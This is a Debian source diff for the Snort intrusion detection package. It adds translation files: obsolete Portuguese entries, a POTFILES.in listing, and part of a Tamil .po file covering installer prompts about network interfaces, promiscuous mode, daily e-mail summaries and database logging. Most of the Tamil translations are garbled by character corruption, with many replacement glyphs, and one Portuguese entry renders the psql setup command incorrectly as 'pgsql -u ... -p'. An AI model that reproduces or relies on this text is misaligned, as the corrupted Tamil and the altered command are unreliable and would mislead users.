+#~ msgstr "Existe um erro na sua configuração"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "arranque, dialup, manual"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Como deve o Snort ser iniciado?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Se quiser pode especificar 'any', para não confiar em nenhum lado da rede."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Um dos interfaces que especificou não é válido (pode não existir no "
+#~ "sistema ou estar desligado). Por favor introduza um interface válido "
+#~ "quando responder á questão acerca de qual(is) interface(s) deve o Snort "
+#~ "escutar."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Se não configurar um interface então o pacote está a tentar utilizar o "
+#~ "valor prédefinido ('eth0') que não parece ser válido no seu sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Se alterar a ordem de teste das regras do Snort para Pass|Alert|Log, "
+#~ "serão aplicadas na ordem Pass->Alert->Log, em vez do padrão Alert->Pass-"
+#~ ">Log. Isto irá previnir as pessoas de terem de fazer grandes argumentos "
+#~ "na linha de comandos Berky Packet Filter para filtrar as suas regras de "
+#~ "alerta."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Esta instalação do Snort disponibiliza um trabalho no cron que corre "
+#~ "diáriamente e dá um sumário da informação dos registos do Snort para um "
+#~ "endereço de email seleccionado. Se quiser desligar esta funcionalidade "
+#~ "diga 'não' aqui."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Um trabalho do cron que corre diariamente irá sumarizar a informação dos "
+#~ "registos gerados pelo Snort utilizando um script chamado 'snort-stat'. "
+#~ "Introduza aqui o destinatário para esses mails. O valor prédefinido é o "
+#~ "administrador do sistema. Se mantiver este valor, assegure-se que o mail "
+#~ "do administrador é redireccionado para um utilizar que realmente lê esses "
+#~ "mails."
+
+#~| msgid ""
+#~| "If you want to specify custom options to Snort, please specify them here."
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Se quiser especificar opções de personalização para o Snort, por favor "
+#~ "especifique-as aqui."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Por favor reinicie o Snort utilizando:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "para deixar as definições terem efeito."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "A sua configuração do Snort não é correcta e o Snort não conseguirá "
+#~ "iniciar normalmente. Por favor reveja a sua configuração e corrija-a. Se "
+#~ "não fizer isto, as actualizações do pacote Snort provavelmente não irão "
+#~ "funcionar. Para ver qual o erro que está a ser gerado corra '/usr/bin/"
+#~ "snort -T -c /etc/snort/snort.conf' (ou aponte para um ficheiro de "
+#~ "configuração alternativo se está a utilizar ficheiros diferentes para "
+#~ "diferentes interfaces)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "Necessita fazer isto apenas a primeira vez que instalar o snort-mysql. "
+#~ "Antes de continuar, assegure-se que tem (1) o nome de máquina de uma "
+#~ "máquina que corra um servidor mysql configurado para permitir ligações "
+#~ "tcp a partir daqui, (2) uma base de dados nesse servidor, (3) um nome de "
+#~ "utilizador e palavra chave para aceder à base de dados. Se não tem "
+#~ "_todos_ estes, ou escolha 'não' e corra com o normal suporte para "
+#~ "registos em ficheiro, ou primeiro corrija isto. Pode sempre, "
+#~ "posteriormente, configurar o registo na base de dados, ao reconfigurar o "
+#~ "pacote mysql-snort com 'dpkg-reconfigure -plow snort-mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr "Assegure-se que este utilizador foi criado e tem acesso de escrita."
+
+#~| msgid "Snort needs a configured database to log to before it starts."
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "O Snort necessita, antes de ser iniciado, de uma base de dados "
+#~ "configurada para registos"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Necessita fazer isto apenas a primeira vez que instalar o snort-pgsql. "
+#~ "Antes de continuar, assegure-se que tem (1) o nome de máquina de uma "
+#~ "máquina que corra um servidor pgsql configurado para permitir ligações "
+#~ "tcp a partir daqui, (2) uma base de dados nesse servidor, (3) um nome de "
+#~ "utilizador e palavra chave para aceder à base de dados. Se não tem "
+#~ "_todos_ estes, ou escolha 'não' e corra com o normal suporte para "
+#~ "registos em ficheiro, ou primeiro corrija isto. Pode sempre, "
+#~ "posteriormente, configurar o registo na base de dados, ao reconfigurar o "
+#~ "pacote mysql-snort com 'dpkg-reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "O Snort necessita de uma base de dados configurada antes de iniciar com "
+#~ "sucesso. De modo a criar a estrutura você necessita e correr o seguinte "
+#~ "comando DEPOIS do pacote estar instalado:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | pgsql -u <utilizador> -h <máquina> -p "
+#~ "<nome_bd>\n"
+#~ "Preencha os valores correctos para o utilizador, máquina e nome da base "
+#~ "de dados. O PostgreSQL irá perguntar-lhe pela palavra chave."
+
+#~ msgid "Your configuration file is deprecated"
+#~ msgstr "O seu ficheiro de configuração foi depreciado"
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Por favor introduza o(s) nome(s) do(s) interface(s) que o Snort deve "
+#~ "escutar.  Os nomes dos interfaces disponíveis são disponibilizados quer "
+#~ "ao correr 'ip link show' ou 'ifconfig'. Normalmente este valor é 'eth0', "
+#~ "mas você pode querer alterá-lo dependendo do seu ambiente, se está a "
+#~ "utilizar uma ligação dialup, 'ppp0 poderá ser mais apropriado."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr ""
+#~ "Por favor introduza o intervalo de endereços que o Snort irá escutar."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Desabilitar o modo promíscuo se está a configurar o Snort num interface "
+#~ "sem um endereço IP configurado."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Por favor introduza o nome da máquina do servidor de base de dados mysql "
+#~ "a utilizar."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Por favor introduza o nome da base de dados a utilizar."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr ""
+#~ "Por favor introduza o nome do utilizador da base de dados que quer "
+#~ "utilizar."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Por favor introduza o nome da máquina do servidor de base de dados pgsql "
+#~ "a utilizar."
--- snort-2.8.5.2.orig/debian/po/POTFILES.in
+++ snort-2.8.5.2/debian/po/POTFILES.in
@@ -0,0 +1,4 @@
+[type: gettext/rfc822deb] snort.templates
+[type: gettext/rfc822deb] snort-mysql.templates
+[type: gettext/rfc822deb] snort-pgsql.templates
+[type: gettext/rfc822deb] snort-common.templates
--- snort-2.8.5.2.orig/debian/po/ta.po
+++ snort-2.8.5.2/debian/po/ta.po
@@ -0,0 +1,869 @@
+# translation of snort.po to TAMIL
+# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER
+# This file is distributed under the same license as the PACKAGE package.
+#
+# Dr.T.Vasudevan <agnihot3@gmail.com>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2007-03-07 17:31+0530\n"
+"Last-Translator: Dr.T.Vasudevan <agnihot3@gmail.com>\n"
+"Language-Team: TAMIL <ubuntu-l10n-tam@lists.ubuntu.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr ""
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr ""
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+#, fuzzy
+#| msgid ""
+#| "Snort can be started during boot, when connecting to the net with pppd or "
+#| "only when you manually start it via /usr/sbin/snort."
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"ஸ�னோர�டை கணினி த�வக�க�ம� போதோ, வலைக�க� பிபிபிடி � பயன� பட�த�தி இணைக�க�ம� போதோ அல�லத� "
+"கைம�றையாக /usr/sbin/snort வழியாகவோ த�வக�கலாம�."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid "On which interface(s) should Snort listen?"
+msgid "Interface(s) which Snort should listen on:"
+msgstr "எந�த இடை ம�கத�தில� ஸ�னோர�ட� செவி சாய�க�க வேண�ட�ம�?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "Notice that Snort is usually configured to inspect all traffic coming "
+#| "from the Internet, so the interface you add here is usually the same the "
+#| "'default route' is on.  You can determine which interface is used for "
+#| "this running either '/sbin/ip ro sh' or '/sbin/route -n' (look for "
+#| "'default' or '0.0.0.0')."
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"ஸ�னோர�ட� சாதாரணமாக உள�வர�ம� எல�லா போக�க� வரத�தை கண�காணிக�க வடிவமைக�கப� பட�கிறத�ஆகவே நீங�கள� "
+"இங�க� சேர�க�க�ம� இடைம�கம� வழக�கமாக ம�ன�னிர�ப�ப� தடம� உள�ளதே ஆக�ம�. நீங�கள� '/sbin/ip ro "
+"sh' அல�லத�  '/sbin/route -n' � இயக�கி இதற�க� எந�த இடைம�கம� பயன� பட�கிறத� என "
+"தெளியலாம�  ('ம�ன�னிர�ப�ப�' அல�லத� '0.0.0.0' � கண�காணிக�கவ�ம�.)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "It is also not uncommon to run Snort on an interface with no IP and "
+#| "configured in promiscuous mode, if this is your case, select the "
+#| "interface in this system that is physically connected to the network you "
+#| "want to inspect, enable promiscuous mode later on and make sure that the "
+#| "network traffic is sent to this interface (either connected to a 'port "
+#| "mirroring/spanning' port in a switch, to a hub or to a tap)"
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"�பி இல�லாமல�ம� வரைம�றை இல�லா பாங�கில� வடிவமைக�கப� பட�ட இடைம�கத�தில� ஸ�னோர�ட�டை இயக�க�வத�ம� "
+"வழக�கமே. இந�த பாங�கிற�க� நீங�கள� ஆராய விர�ம�ப�ம� வலைப� பின�னல�க�க�பௌதிகமாக இணக�கப� பட�ட�ள�ள "
+"இந�த கணினியின� இடைம�கத�தை தேர�ந�தெட�க�கவ�ம�. பின�னால�வரைம�றை இல�லா பாங�கை செயல� பட�த�தி "
+"இந�த இடைம�கத�த�க�க� போக�க� வரத�த� அன�ப�பப� பட�வதைஉற�தி செய�யவ�ம�. (த�றை பிரதிபலிப�பான�/ "
+"மாற�ற�த� த�றை மாற�றிக�க�  அல�லத� ஒர� க�வியத�த�க�கோக�ழாய�க�கோ இணைத�த�)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+#, fuzzy
+#| msgid ""
+#| "You can configure multiple interfaces here, just by adding more than one "
+#| "interface name separated by spaces. Each interface can have its specific "
+#| "configuration."
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"நீங�கள� இங�க� பல இடைம�கங�களை வடிவமைக�கலாம�. ஒன�ற�க�க� மேற�பட�ட பெயர�களைவெற�றிடத�தால� "
+"பிரித�த� இங�க� சேர�க�கவ�ம�. ஒவ�வொர� இடைம�கம�ம� அதன� தனி வடிவமைப�பை பெற�ற� இர�க�கலாம�"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid "Please enter the address range that Snort will listen on."
+msgid "Address range for the local network:"
+msgstr "ஸ�னோர�ட� செவி சாய�க�க வேண�டிய ம�கவரி வீச�சை உள�ளிடவ�ம�."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "You have to use CIDR form, i.e. 192.168.1.0/24 for a block of 256 IPs or "
+#| "192.168.1.42/32 for just one. Specify multiple addresses on a single line "
+#| "separated by ',' (comma characters), no spaces allowed!"
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"நீங�கள� CIDR பாங�க� அதாவத� 256 �பி கள�க�க� 192.168.1.0/24 � அல�லத� ஒன�ற�க�க� மட�ட�ம� "
+"192.168.1.42/32 � க�றிப�பிடவ�ம�. பல ம�கவரிகளை , (கமாவால�) பிரித�த� க�றிப�பிடவ�ம�. "
+"வெற�றிடத�த�க�க� அன�மதியில�லை!"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+#, fuzzy
+#| msgid ""
+#| "Notice that if you are using multiple interfaces this definition will be "
+#| "used as the HOME_NET definition of all of them."
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"நீங�கள� பல இடைம�கங�களை பயன� பட�த�தினால� இந�த வரையரை அவை அனைத�தின� இல�லவலை (HOME_NET) "
+"வரையரையாக பயன� பட�த�தப� பட�ம�."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "ஸ�னோர�ட� இடைம�கத�தில� பாங�கை செயலிழக�கச� செய�ய வேண�ட�மா?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+#, fuzzy
+#| msgid ""
+#| "Disabling promiscuous mode means that Snort will only see packets "
+#| "addressed to it's own interface. Enabling it allows Snort to check  every "
+#| "packet that passes ethernet segment even if it's a connection between two "
+#| "other computers."
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"வரைம�றை இல�லா பாங�கை செயலிழக�கச� செய�வத� என�பத� ஸ�னோர�ட�டை அதன� இடைம�கத�தில� "
+"வர�ம�பொட�டலங�களை மட�ட�ம� சோதிக�க அன�மதிக�க�ம�. செயல� பட�த�த�வத� ஈதர�நெட� வழியாக போக�ம� "
+"எல�லா பொட�டலங�களைய�ம� சோதிக�க- இரண�ட� கணினிகளிடையே கூட - அன�மதிக�க�ம�."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "செல�ல�படியாகாத இடைம�கம�"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+#, fuzzy
+#| msgid "Should Snort's rules testing order be changed to Pass|Alert|Log?"
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr ""
+"ஸ�னோர�டின� சோதிக�க�ம� வரிசை விதிகள� அன�ப�ப�| எச�சரி|லாக� பதிவ� என மாற�றப� பட வேண�ட�மா?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "தினசரி ச�ர�க�கத�தை மின�னஞ�சலில� அன�ப�ப வேண�ட�மா?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+#, fuzzy
+#| msgid "Who should receive the daily statistics mails?"
+msgid "Recipient of daily statistics mails:"
+msgstr "தினசரி ப�ள�ளிவிவர அஞ�சலை யார� பெற வேண�ட�ம�?"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+#, fuzzy
+#| msgid ""
+#| "An alert needs to appear more times than this number to be included in "
+#| "the daily statistics."
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"இந�த எண�ணைக� காட�டில�ம� அதிக எச�சரிக�கைகள� தோன�றினால� மட�ட�ம� அத� தினசரி ப�ள�ளி விவரத�தில� "
+"சேர�க�கப� பட�ம�."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr ""
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid "This system uses an obsolete configuration file"
+msgid "Obsolete configuration file"
+msgstr "இந�த கணினி வழக�கொழிந�த வடிவமைப�ப� கோப�பை பயன� பட�த�த�கிறத�."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid ""
+#| "Your system has an obsolete configuration file (/etc/snort/snort.common."
+#| "parameters) which has been automatically converted into the new "
+#| "configuration file format (at /etc/default/snort). Please review the new "
+#| "configuration and remove the obsolete one. Until you do this, the init.d "
+#| "script will not use the new configuration and you will not take advantage "
+#| "of the benefits introduced in newer releases."
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"இந�த கணினி வழக�கொழிந�த வடிவமைப�ப� கோப�பை பயன� பட�த�த�கிறத�. (/etc/snort/snort."
+"common.parameters) இத� தானியங�கியாக ப�திய வடிவமைப�ப� கோப�பாக மாற�றப� பட�ட�விட�டத�. "
+"(/etc/default/snort இல�) தயை செய�த� ப�திய கோப�பை மற� ஆய�வ� செய�த�  வழக�கொழிந�த "
+"கோப�பை நீக�கவ�ம�.இதை நீங�கள� செய�ய�ம� வரை init.d சிற�நிரல� ப�திய வடிவமைப�பை "
+"பயன�பட�த�தாத�; நீங�கள�ம� ப�திய பதிப�ப� தர�ம� வசதிகளை பயன� பட�த�த இயலாத�."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+#, fuzzy
+#| msgid ""
+#| "Your system has an obsolete configuration file (/etc/snort/snort.common."
+#| "parameters) which has been automatically converted into the new "
+#| "configuration file format (at /etc/default/snort). Please review the new "
+#| "configuration and remove the obsolete one. Until you do this, the init.d "
+#| "script will not use the new configuration and you will not take advantage "
+#| "of the benefits introduced in newer releases."
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"இந�த கணினி வழக�கொழிந�த வடிவமைப�ப� கோப�பை பயன� பட�த�த�கிறத�. (/etc/snort/snort."
+"common.parameters) இத� தானியங�கியாக ப�திய வடிவமைப�ப� கோப�பாக மாற�றப� பட�ட�விட�டத�. "
+"(/etc/default/snort இல�) தயை செய�த� ப�திய கோப�பை மற� ஆய�வ� செய�த�  வழக�கொழிந�த "
+"கோப�பை நீக�கவ�ம�.இதை நீங�கள� செய�ய�ம� வரை init.d சிற�நிரல� ப�திய வடிவமைப�பை "
+"பயன�பட�த�தாத�; நீங�கள�ம� ப�திய பதிப�ப� தர�ம� வசதிகளை பயன� பட�த�த இயலாத�."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+#, fuzzy
+#| msgid "Do you want to set up a database for snort-mysql to log to?"
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "ஸ�னோர�ட�-மைஎஸ�க�யூஎல� உள�ந�ழைய ஒர� தரவ�த�தளம� அமைக�க விர�ம�ப�கிறீர�களா?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+#, fuzzy
+#| msgid ""
+#| "Make sure it has been set up correctly to allow incoming connections from "
+#| "this host!"
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"அத� உள� வர�ம� இணப�ப�களை அன�மதிக�க சரியாக அமைக�கப�பட�ட�ள�ளதா என உற�தி செய�த� கொள�ளவ�ம�!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+#, fuzzy
+#| msgid ""
+#| "Make sure this database has been created and your database user has write "
+#| "access to this database."
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"இந�த தரவ�த�தளம� உர�வாக�கப� பட�ட�விட�டத� என�பதைய�ம� பயனர�க�க� இந�த தரவ�த�தளத�தில� அண�க எழ�த "
+"அன�மதி உள�ளத� என�பதைய�ம� உற�தி செய�த� கொள�ளவ�ம�."
+
+#. Type: password
+#. Description
